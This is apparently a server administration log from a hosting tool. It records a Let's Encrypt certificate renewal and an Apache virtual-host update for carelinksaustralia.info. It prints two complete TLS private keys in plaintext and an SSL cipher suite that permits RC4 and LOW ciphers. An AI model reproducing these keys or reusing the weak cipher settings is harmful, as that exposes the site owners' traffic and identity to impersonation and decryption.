ExltZWRpYS5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAoINwR5HOu664wh9LRFm2vHdTSpbmmI3g+qOCkdsD4psLlArz
ftJf62LZEyy6zXMjmw0DQC6vBUCF5oBLD1hA18n9H2Zfm4Cdw6rMzjzZn0miMruQ
Gv2o8EK+CPVJmW9ygX0ssMTfHcXWtOgoBuIYJfydzjz658HpAtjV1GKQ9bbjylEF
Alenth6TCsgCw/RrLU1ZEFmgAEcrr8FEmTC0OutweG6DS3JMHF6YG8C7C+F92cIX
+MrydUHgO9PlrtgS8SFJyml2Dl3pWX86wPQd2Epjt59EV5MYwozPQLkcoFVAutV9
MlFQDAMUlIa9ptXNIvz9tSrcdkk62/78AhMUfQIDAQABo4ICJjCCAiIwDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFDjziHqq5kRBZPlNyG0l4oWGohpEMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZbWVkaWEuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKgIKAehhxo
dHRwOi8vcjEyLmMubGVuY3Iub3JnLzIuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB
+gD4AHYA1219ENGn9XfCx+lf1wC/+YLJM1pl4dCzAXMXwMjFaXcAAAGduO04oQAA
BAMARzBFAiAx+klnvhJA0hupckH1tuH+FCmyJNR5AJripA7IJW/26wIhAPO7vz24
HfCmFChOVaZrg11mhKyR82YEcqpilO9N4eVWAH4AJuNkblhpISO8ND9HJDWbN5LN
JFqI2BXTkzP9mRirRyMAAAGduO04wQAIAAAFAAmKAEQEAwBHMEUCIQD2JUx233UA
kQrdlXfxz/HC7PPiJkGmjzDgF15ieNX7/QIgMeRsuIF3fzL1QFoBsJef/ldPRhAb
YiwsOuW/6gJQzbIwDQYJKoZIhvcNAQELBQADggEBAG4RMhB0RpneJ8KRCt1QgdiD
Z/5251EFE+OTlzDU4xdEhMTSgKFaf5AvBTkytZe/xKhYyb1sQw2gHHbo99h/k/0M
l5OgLGsufYZbQLFWnhFhzVvr1WoKsM4/+g0PZE4AcvgI1ugKkx4ou5FdESool9p1
+0lUPgvLtTwln/GGTP7q1O/T8vXo+OXokKbBa7+urYoMKLtwCi1JfCSR5HK2bS3I
Zr3owr4/p6ZW1czK59lOrFeQ2BjEKht3RqRBM/isA5bunPPR1I5Z9m+FCBuIptXk
TeiongWy23X3CVJLppL3mF5aEaUjnPZmpLqWBZoogXbnmg93i38DSwzlTXDnnY4=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCgg3BHkc67rrjC
H0tEWba8d1NKluaYjeD6o4KR2wPimwuUCvN+0l/rYtkTLLrNcyObDQNALq8FQIXm
gEsPWEDXyf0fZl+bgJ3DqszOPNmfSaIyu5Aa/ajwQr4I9UmZb3KBfSywxN8dxda0
6CgG4hgl/J3OPPrnwekC2NXUYpD1tuPKUQUCV6e2HpMKyALD9GstTVkQWaAARyuv
wUSZMLQ663B4boNLckwcXpgbwLsL4X3Zwhf4yvJ1QeA70+Wu2BLxIUnKaXYOXelZ
fzrA9B3YSmO3n0RXkxjCjM9AuRygVUC61X0yUVAMAxSUhr2m1c0i/P21Ktx2STrb
/vwCExR9AgMBAAECggEAEgdRWCiPYNM6G0uqh43QEZERgOI8GkxtRZmR89H2uMAT
Z9hnCwqUDXs3yIiQnrzc9fBbOh1EOUHLCF3GkH2oItSkIp+8A1pJ3g1UHaIGC3cY
ybv5bp6pF/tXHuh2EM7MvLCTkXM7YDu1ZvJgdI12iuW5z81XnSpRgqlaMxWzFHX9
xSvNB3M+/1V93cqOZ7vkna5Z1yaQzHOlGrE1kzgzFp5CEPheBzvZ5Y3xMG/gCwhC
FZJ7/v9jooTExaEoIntTLE0V3eCpwg6vGWBdSACgJ2H0sfX9fWRFLI6LNR02G7O3
0p8B+DXxplCti+fRt+ql3C6BvzO6wCzvUYa/QrzZQQKBgQDSAAeoHrv4eGDZKQdC
x7uLl2n5N3t5pyymrWK0xkkpcc7w9NwQ1Vf3HUffqGZu6vX863VYn6qxYolIPE1a
Cr5UGVxYs9ctZCr4t1M7g2Q7MuolOMBAUWh+pZqtwNMS+XVMfxkN7Zw4sWCvL0Zq
TuPdIu0udWAEHAFWnWOA3PmUcQKBgQDDrGR7jfDOI3eAqZJrQZf6jZy47j328fjE
A9qa8BdIDZyYlLPVfOOEfSoH+XQ5mF8Z7LcLLpRJNuBD5DFQJgyuVhu906zVANmf
+0G12Ky19MUhzoYA4XvthDYPbVAIcAlAfUxcGSI6pQNKxSfssDu+cpt64173PRz1
X7+Wf42WzQKBgASpiYH7BLNUgNnxZj7eTlSgDPNCfxRJWN1udgWLbW5lH3IMDaK2
Cdjrpn/ZrkSCJOnzlExeZxy/EksvQ4xfNrCJS5qQi5NvaODSuR9WIHCMBdTDuMj0
xbwiExgOcuE19pu3Kqg7gT9k+L+K7iZIEBkFwHxKkNImiQUSQ3ZF8aiRAoGAJgsw
hi00sn+GzocpppzcNaSu4e3AMnEdUs8FA7bGcAXlemz/AfUEL1A+icpgZIpRgzLY
692kiw+WTtzhEZo0QPkQ77lmEwvVRBuPzRFRkxcB9O64cxdkBuv7rsgsFVfjFJzH
6eghFZHbr//hIU2qb/7MZ/opDpzdMn/pOhOWrckCgYAWuaM2T6iRSu0njo3hhbgb
e614Js5WiHlv5yDSVSbCyRPipUsVyqtVbPGbcU25asfjxIvdYL0bCP/XGqbRecOQ
ruSqqtqliIrYN89kOH3aLN2zqtXzbEz/lDAL1QqclAyd83Yw/TFbokXdqIdKETw7
hAtsq4HvLG+6c78dCLuLRQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-23 06:00:49: Establishing a connection
2026-04-23 06:00:49: Establishing a connection
2026-04-23 06:00:49: 

PUT: /tmp/pkp317934

#!/bin/bash
if [ -d "/var/www/carelinksaustralia_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-23 06:00:50: 

chmod 755 /tmp/pkp317934; /tmp/pkp317934; rm /tmp/pkp317934

2026-04-23 06:00:50: 


1


2026-04-23 06:00:50: Establishing a connection
2026-04-23 06:00:51: 

PUT: /tmp/pkp815352

#!/bin/bash
mkdir -p "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cd "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cat > kP-A-r-iOF3mZGFHzHd5DeLDGuDLfI1pApRY_djfjWY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
kP-A-r-iOF3mZGFHzHd5DeLDGuDLfI1pApRY_djfjWY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 kP-A-r-iOF3mZGFHzHd5DeLDGuDLfI1pApRY_djfjWY
cat > e01xHR_oyc6L9jMrtr7bYewAZeOIB8jHwB1B4ieSn0Q <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
e01xHR_oyc6L9jMrtr7bYewAZeOIB8jHwB1B4ieSn0Q.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 e01xHR_oyc6L9jMrtr7bYewAZeOIB8jHwB1B4ieSn0Q


2026-04-23 06:00:51: 

chmod 755 /tmp/pkp815352; /tmp/pkp815352; rm /tmp/pkp815352

2026-04-23 06:00:51: 




2026-04-23 06:01:02: Establishing a connection
2026-04-23 06:01:02: 

PUT: /tmp/pkp794452

#!/bin/bash
mkdir -p "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cd "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
rm kP-A-r-iOF3mZGFHzHd5DeLDGuDLfI1pApRY_djfjWY
rm e01xHR_oyc6L9jMrtr7bYewAZeOIB8jHwB1B4ieSn0Q


2026-04-23 06:01:02: 

chmod 755 /tmp/pkp794452; /tmp/pkp794452; rm /tmp/pkp794452

2026-04-23 06:01:02: 




2026-04-23 06:01:02: Establishing a connection
2026-04-23 06:01:02: 

PUT: /tmp/pkp902133

#!/bin/bash
temp_file=$(mktemp)
TARGET=01bea5c16e52f9c5f2fcf9fea9a569f2.crt

cat > $temp_file <<'endmsg'
e4:36:0e:87:31:f3:ee:a0:83:90:4e:68:75:66:f7:6d

-----BEGIN CERTIFICATE-----
MIIFJTCCBA2gAwIBAgISBS1Sr/dQXXdDU+AwurE3MUJ8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDIzMDUwMjMxWhcNMjYwNzIyMDUwMjMwWjAiMSAwHgYDVQQD
ExdjYXJlbGlua3NhdXN0cmFsaWEuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAJkQmZ25P9YHu1HnsyjFKqq9g63+lvgc3BTLM0VQh6omsKDWf4SV
pcDxVibYpAU88UZYmfxCjS3L2RQ2+o0daENaLjbM87nuaXOmsyHenX2nVrtn0+xA
CS/cotIKV4uz34tMXaGNhTM/c0EP/OBDZuRtwkTErkW7TNMNU/DV2a7yf0AatZsM
BK1LKEtvbPTOxCf7qonlG1/sIonqdL0ndQm3IWiWKElSeRCusbMM+6QujE90BY7p
QLV+SbCa4HwZRx60Id/A5T0mQuLasFU3aZNMhKnojnOl5fiBJP+2xhaxg03h5zW4
7N/F2Yj7KQQKrx8W8lCayXCCbM+am57Z/V8CAwEAAaOCAkIwggI+MA4GA1UdDwEB
/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBSIUq3shoK7K+aqVa+EJCUHVvRDADAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMD8GA1UdEQQ4MDaCF2NhcmVsaW5rc2F1c3RyYWxpYS5p
bmZvght3d3cuY2FyZWxpbmtzYXVzdHJhbGlhLmluZm8wEwYDVR0gBAwwCjAIBgZn
gQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8x
MjUuY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHYAyzj3FYl8hKFEX1vB3fvJ
bvKaWc1HCmkFhbDLFMMUWOcAAAGduO1vHwAABAMARzBFAiAt755EKq39EK03RFRu
4atYyd0d4aUxjGUtGK0RAETs7gIhAI03OhHM7WxjVRmKZfoaQ4/cR68QQH49+tzr
Ybz8MfLkAH0ARq+GPTs+5Z+ld96oJF02sNntIqIj9GF3QSKUUu6VUF8AAAGduO1v
WgAIAAAFAASjHYMEAwBGMEQCIBuJZqtJSUOy/QbfNdu0QHF2EfyiNkB+xedbMTok
tHewAiBrPQ8dqjF6kP4VgQRLDtz0Zgc7AhpZgOufykdQ0OVU/jANBgkqhkiG9w0B
AQsFAAOCAQEAZWaiialcQHF9Vxg2pqfoON6YdWpA/CKTRRZXle5qvb18fxA/dQ9s
445fOB9vxunvxAgg+GQjfX7GP/0ReR7JHz58s5b8EcGRC9/JALkh88Hd79MxIPrn
vXD18ct9iU/jklSoG4M2T/RUsDensdbMp56bUZviWo0+T/qC/4QApBHkJjCIj99m
IiMlJjacGrqBZP14EjEunsLv5qvEM4xZYCge/c/rEAScXdGZd6FkLjX8UD4uD2RY
8HbpDw4zpP85RJHB7WJwhVWEO960SqGplnXkp9YnytIHw28M5wYEld133+1pZF2I
5q4rC4oa4zWQbqtJ8sMtr27Ra44Cevpv6Q==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCZEJmduT/WB7tR
57MoxSqqvYOt/pb4HNwUyzNFUIeqJrCg1n+ElaXA8VYm2KQFPPFGWJn8Qo0ty9kU
NvqNHWhDWi42zPO57mlzprMh3p19p1a7Z9PsQAkv3KLSCleLs9+LTF2hjYUzP3NB
D/zgQ2bkbcJExK5Fu0zTDVPw1dmu8n9AGrWbDAStSyhLb2z0zsQn+6qJ5Rtf7CKJ
6nS9J3UJtyFolihJUnkQrrGzDPukLoxPdAWO6UC1fkmwmuB8GUcetCHfwOU9JkLi
2rBVN2mTTISp6I5zpeX4gST/tsYWsYNN4ec1uOzfxdmI+ykECq8fFvJQmslwgmzP
mpue2f1fAgMBAAECggEALvEzW3bLyBUY8raPcIp/WlvCvaLdo/wd1ta2w6Q95wX0
l28RLpVCf1jEZid8rgqRqFRV7VJvv8LLsXJnBs4lArruf2n9uWEPwCM4vsNqI3Yl
mFXwXX0KFD6jRK1dSgABJ9Rkxr4DQsNL0oFXuWOSc63hrXtwQvx9RCDLRIohN5C3
kgboAJkMTAyjbgsDLn+m0nOsJ8dCB77HASCNkkr6Ik+RGtq719d8ulXpOVAV2Lk8
neOc5Yyv0YTTJivY07DG/guZmtr8lj53OHCU88DBWV3QWNzVv/NoEaaQylg9C9Cu
WMYX140c5e553nSrcShfbCGR3ON6w5PnVCwTxMSrOQKBgQDUkng69Gh6scqxXN6o
4YM9SvQ8jTGpultl68QQLEPvrSaTXqjWDDpHj2lZzE19p0S5lDzb62hnoklUx6in
e8RAVN7ATA3avcNGASTHtOpeGGzKgGGziRxqbDOoIKu319Vd1v5x0tl8d1eFmqDs
eE101hRc4XklslDFRjl74UeQQwKBgQC4VeWAJZmhiCThOc9NLqFyOmw8IQI8tkDU
DhNAxu/45RIFShxPzG6Us93cejmpt2GcIFtQFufIhvB5bNzjZvIxGlLRsc1Py+JW
tDD0lPgC+53xyeH3rc4ls0UJnaA2jqxUa3U2Xkm/q18inUzm9+3gHSgoZmO16vf1
DYHiWbIqtQKBgQCu2lxzgh9+7UghZJbyq61ceY81T58OUfBkge6grwii2fblOfP/
PceinWC3MMp9FV3+mOUGsTkMJf3T8vfT7IadtDIWU3kB+R3rM32hmDtAcy7p03iK
SbpJ//7tyRH3A17K9dIOprWnIDOp/mtol/x+oqnVTNJuI6M04nLeZ4yKKQKBgEjz
7cU+nEO6juX4LBvetZRwnL9bTPhcJOIHxATh9r0pY21mfDf0r1r4qHiGguWxJtdU
Uu8qcYcCKI/VzsHMz1MxmM9Wr+vBxA0OeUWC43jCviqf/Gc6iRiQj2UT1gFhi8BJ
WvUucb+Cgj8/w9yxCJqmz2rVwuaPXJzGQL4lQ4b1AoGAfYaqnvxSUBFUZLkftK3o
BGFgL2H25kJPbhxrTi1L4/1oRE25hBkiI1/7GuBhnntZWElHCi9An1EoHyYZFd9X
DsuTob7ga0y3pRwiZO1zJdKiq3knljCaZr6+WCMzotFWFJ6RLvw5P+DA7aRymLNx
T4SD8PTLr232f3wB83eqTgM=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-23 06:01:02: 

chmod 755 /tmp/pkp902133; /tmp/pkp902133; rm /tmp/pkp902133

2026-04-23 06:01:02: 


dir=/etc/ssl/certs


2026-04-23 06:01:02: 

PUT: /tmp/pkp647327

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-23 06:01:02: 

chmod 755 /tmp/pkp647327; /tmp/pkp647327; rm /tmp/pkp647327

2026-04-23 06:01:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf 51

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-23 06:01:02: 

PUT: /tmp/pkp459168

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinksaustralia_www_info.conf
TARGET=/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf= 1'
fi


2026-04-23 06:01:02: 

chmod 755 /tmp/pkp459168; /tmp/pkp459168; rm /tmp/pkp459168

2026-04-23 06:01:02: 




2026-04-23 06:01:02: 

PUT: /tmp/pkp360507

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-23 06:01:02: 

chmod 755 /tmp/pkp360507; /tmp/pkp360507; rm /tmp/pkp360507

2026-04-23 06:01:02: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-23 06:01:02: Establishing a connection
2026-04-23 06:01:03: 

PUT: /tmp/pkp735657

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-23 06:01:03: 

chmod 755 /tmp/pkp735657; /tmp/pkp735657; rm /tmp/pkp735657

2026-04-23 06:01:03: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
